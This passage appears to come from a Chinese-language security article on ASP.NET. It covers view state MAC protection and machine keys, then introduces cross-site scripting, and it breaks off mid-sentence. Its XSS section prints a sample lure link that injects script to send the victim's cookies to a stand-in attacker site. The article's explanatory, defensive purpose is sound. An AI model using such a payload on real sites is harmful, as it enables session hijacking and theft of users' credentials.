视图状态用于在对同一个页的两个连续请求之间保持控件的状态。默认情况下,视图状态是 Base64 编码的,并使用一个哈希值签名,以防止篡改。除非更改默认的页设置,否则不可能篡改视图状态。如果攻击者修改了视图状态,甚至使用正确的算法重新生成了视图状态,ASP.NET 都会捕获这些尝试并引发异常。视图状态被篡改并不一定有害,虽然它修改了服务器控件的状态 — 但可能成为造成严重感染的工具。因此,不 移除默认情况下进行的计算机身份验证代码 (MAC) 交叉检查就异常重要。请参阅图 2。
启用了 MAC 检查时(默认情况),将对序列化的视图状态附加一个哈希值,该值是使用某些服务器端值和视图状态用户秘钥(如果有)生成的。回发视图状态时,将使用新的服务器端值重新计算该哈希值,并将其与存储的值进行比较。如果两者匹配,则允许请求;否则将引发异常。即使假设黑客具有破解和重新生成视图状态的能力,他/她仍需要知道服务器存储的值才可以得出有效的哈希。具体说来,该黑客需要知道 machine.config 的 <machinekey> 项中引用的计算机秘钥。
默认情况下, 项是自动生成的,以物理方式存储在 Windows local Security Authority (LSA) 中。仅在 Web 场(此时视图状态的计算机秘钥必须在所有的计算机上都相同)的情形下,您才应当在 machine.config 文件中将其指定为明文。
视图状态 MAC 检查是通过一个名为 enableviewstatemac 的 @page 指令属性控制的。如前所述,默认情况下,它被设置为 true。请永远不要禁用它;否则将会使视图状态篡改一次单击攻击成为可能,并具有很高的成功概率。
返回页首跨站点脚本 (XSS) 对于很多经验丰富的 Web 开发人员来说是老朋友了,它在 1999 年左右就已经出现了。简单地说,XSS 利用代码中的漏洞来将黑客的可执行代码引入另一个用户的浏览器会话中。如果被执行,注入的代码可以执行多种不同的操作 — 获取 Cookie 并将一个副本上载到黑客控制的 Web 站点,监视用户的 Web 会话并转发数据,修改被黑的页的行为和外观以使其提供错误的信息,甚至使自己变为持续性的,这样用户下一次返回该页时,欺诈代码会再次运行。请在 TechNet 文章 Cross-site Scripting Overview 中详细阅读有关 XSS 攻击的基础知识。
代码中的哪些漏洞导致 XSS 攻击成为可能?
xss 利用的是动态生成 HTML 页、但并不验证回显到页的输入的 Web 应用程序。这里的输入 是指查询字符串、Cookie 和表单域的内容。如果这些内容在未经适当性能检查的情况下出现在网络上,就存在黑客对其进行操作以在客户端浏览器中执行恶意脚本的风险。(前面提到的一次单击攻击其实是 XSS 的一种新近变种。)典型的 XSS 攻击会导致不抱怀疑的用户点击一条诱惑性链接,而该链接中嵌入了转义的脚本代码。欺诈代码将被发送到一个存在漏洞且会毫不怀疑地输出它的页。以下是可能发生的情况的一个示例:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=<script>document.location.replace(''http://www.hackersite.com/HackerPage.aspx?Cookie='' + document.cookie);</script>">Click to claim your prize</a>
用户单击一个看上去明显安全的链接,最终导致将一些脚本代码传递到存在漏洞的页,这些代码首先获取用户计算机上的所有 Cookie,然后将它们发送到黑客的 Web 站点。
请务必注意,xss 不是一个特定于供应商的问题,因此并不一定会利用 Internet Explorer 中